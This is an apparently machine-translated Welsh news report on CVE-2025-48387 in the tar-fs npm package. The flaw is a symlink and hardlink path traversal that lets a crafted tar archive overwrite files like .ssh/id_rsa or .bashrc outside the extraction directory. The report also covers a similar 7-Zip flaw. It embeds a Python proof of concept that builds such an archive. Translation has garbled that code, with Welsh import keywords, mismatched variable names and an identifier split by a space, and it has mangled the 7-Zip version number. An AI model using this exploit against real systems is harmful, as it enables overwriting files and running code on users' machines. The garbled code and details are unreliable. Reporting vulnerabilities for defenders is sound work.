Mae bregusrwydd (CVE-2025-48387) wedi'i nodi yn y pecyn tar-fs NPM, sy'n caniatΓ‘u, wrth ddadbacio archif tar a gynlluniwyd yn arbennig, ysgrifennu ffeiliau i unrhyw ran o'r FS nad ydynt wedi'u cyfyngu i'r cyfeiriadur y mae'r dadbacio yn cael ei berfformio ynddo (cyn belled ag y mae hawliau mynediad y defnyddiwr cyfredol yn caniatΓ‘u). Gellir defnyddio'r bregusrwydd hefyd i drosysgrifennu ffeiliau presennol, er enghraifft, i drefnu gweithrediad eich cod yn y system, gellir ailysgrifennu'r ffeiliau ".ssh/id_rsa" neu ".bashrc" yng nghyfeiriadur cartref y defnyddiwr.
Mae'r mater wedi'i raddio fel un critigol o ystyried bod y pecyn tar-fs yn cael ei lawrlwytho 23 miliwn o weithiau'r wythnos ac yn cael ei ddefnyddio fel dibyniaeth mewn 1155 o brosiectau. Cafodd y bregusrwydd ei drwsio yn y datganiadau 3.0.9, 2.1.3, ac 1.16.5, a ryddhawyd ym mis Mai, ond ni ddatgelwyd gwybodaeth am y bregusrwydd tan bron i 3 mis yn ddiweddarach.
Mae'r bregusrwydd yn cael ei achosi gan wiriadau annigonol o ddolenni symbolaidd a chaled yn yr archif i sicrhau nad ydynt yn ymestyn y tu hwnt i'r cyfeiriadur targed ar gyfer dadbacio. I osgoi'r gwiriadau, defnyddir dau ddolen symbolaidd: mae'r cyntaf yn pwyntio at y cyfeiriadur gwraidd ar gyfer dadbacio'r archif ("."), ac mae'r ail yn cael ei chreu o'i gymharu Γ’'r ddolen symbolaidd gyntaf ac yn defnyddio'r nodau "../" yn yr enw i ymestyn y tu hwnt i'r cyfeiriadur sylfaen. Er enghraifft, mae'r ddolen gyntaf "noop/noop/noop" yn pwyntio at ".", ac mae'r ail "noop/noop/noop/../../../" yn cael ei hehangu fel "./../../../". I drefnu trosysgrifennu ffeiliau yn yr archif, gellir creu dolen galed sy'n pwyntio at ffeil allanol o'i gymharu Γ’'r ail ddolen symbolaidd. mewnforio ffeil tar mewnforio io gyda tarfile.open("poc.tar", mode="x") fel tar: root = tarfile.TarInfo("gwreiddyn") root.linkname = ("noop/" * 15) + ("../" * 15) root.type = tarfile.SYMTYPE tar.addfile(gwreiddyn) noop = tarfile.TarInfo("noop") noop.linkname = "." noop.type = tarfile.SYMTYPE tar.addfile(noop) hard = tarfile.TarInfo("galedflag") hard.linkname = "gwreiddyn/cartref/enw defnyddiwr/baner/baner" hard.type = tarfile.LNKTYPE tar.addfile(caled) cynnwys = b"trosysgrifo\n" trosysgrifo = tarfile.TarInfo("galedflag") trosysgrifo.size = len(cynnwys) trosysgrifo.type = tarfile.REGTYPE tar.addfile(trosysgrifo, fileobj=io.BytesIO(cynnwys)) cynnwys = b"newydd!\n" ffeil newydd = tarfile.TarInfo("gwreiddyn/cartref/enw defnyddiwr/baner/ffailnewydd") ffeil newydd.size = len(cynnwys) ffeil newydd.type = tarfile.REGTYPE tar.addfile(ffailnewydd, fileobj=io.BytesIO(cynnwys))
Canfuwyd bregusrwydd tebyg (CVE-2025-55188) yn archifydd 7-Zip. I ysgrifennu ffeiliau y tu allan i'r cyfeiriadur sylfaenol, gall 7-Zip hefyd ddefnyddio cysylltiadau symbolaidd gyda'r dilyniant "../" yn llwybr y ffeil. Gellir manteisio ar y broblem wrth ddadbacio unrhyw archifau gyda 7-Zip sy'n cefnogi cysylltiadau symbolaidd, fel zip, tar, 7z a rar. Mae'r broblem wedi'i datrys yn fersiwn 7 o 25.01-Zip.
Ffynhonnell: opennet.ru
